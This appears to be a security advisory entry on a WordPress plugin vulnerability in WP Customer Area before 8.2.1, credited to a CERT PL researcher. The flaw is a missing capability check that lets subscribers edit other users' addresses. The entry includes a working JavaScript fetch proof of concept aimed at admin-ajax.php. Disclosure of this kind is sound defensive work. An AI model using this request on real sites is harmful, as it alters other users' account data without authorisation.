WordPress Plugin Vulnerabilities

WP Customer Area < 8.2.1 - Subscriber+ Account Address Update

Description

The plugin does not properly validate users capabilities in some of its AJAX actions, allowing malicious users to edit other users' account address.

Proof of Concept

You may get the nonce from *your* save address form

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
  },
  "body": 'action=cuar_save_address_for_owner&cuar_nonce=a73a7eab3b&owner[type]=usr&owner[ids][]=1&address_id=home_address&address[name]=hohohohoh',
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
})
.then((response) => {
  return response.text();
})
.then((data) => {
  console.log(data);
});

Affects Plugins

Fixed in 8.2.1

References

Classification

Type
ACCESS CONTROLS
CWE

Miscellaneous

Original Researcher
Krzysztof Zając (CERT PL)
Submitter
Krzysztof Zając (CERT PL)
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2024-01-10 (about 4 months ago)
Added
2024-01-10 (about 4 months ago)
Last Updated
2024-01-10 (about 4 months ago)

Other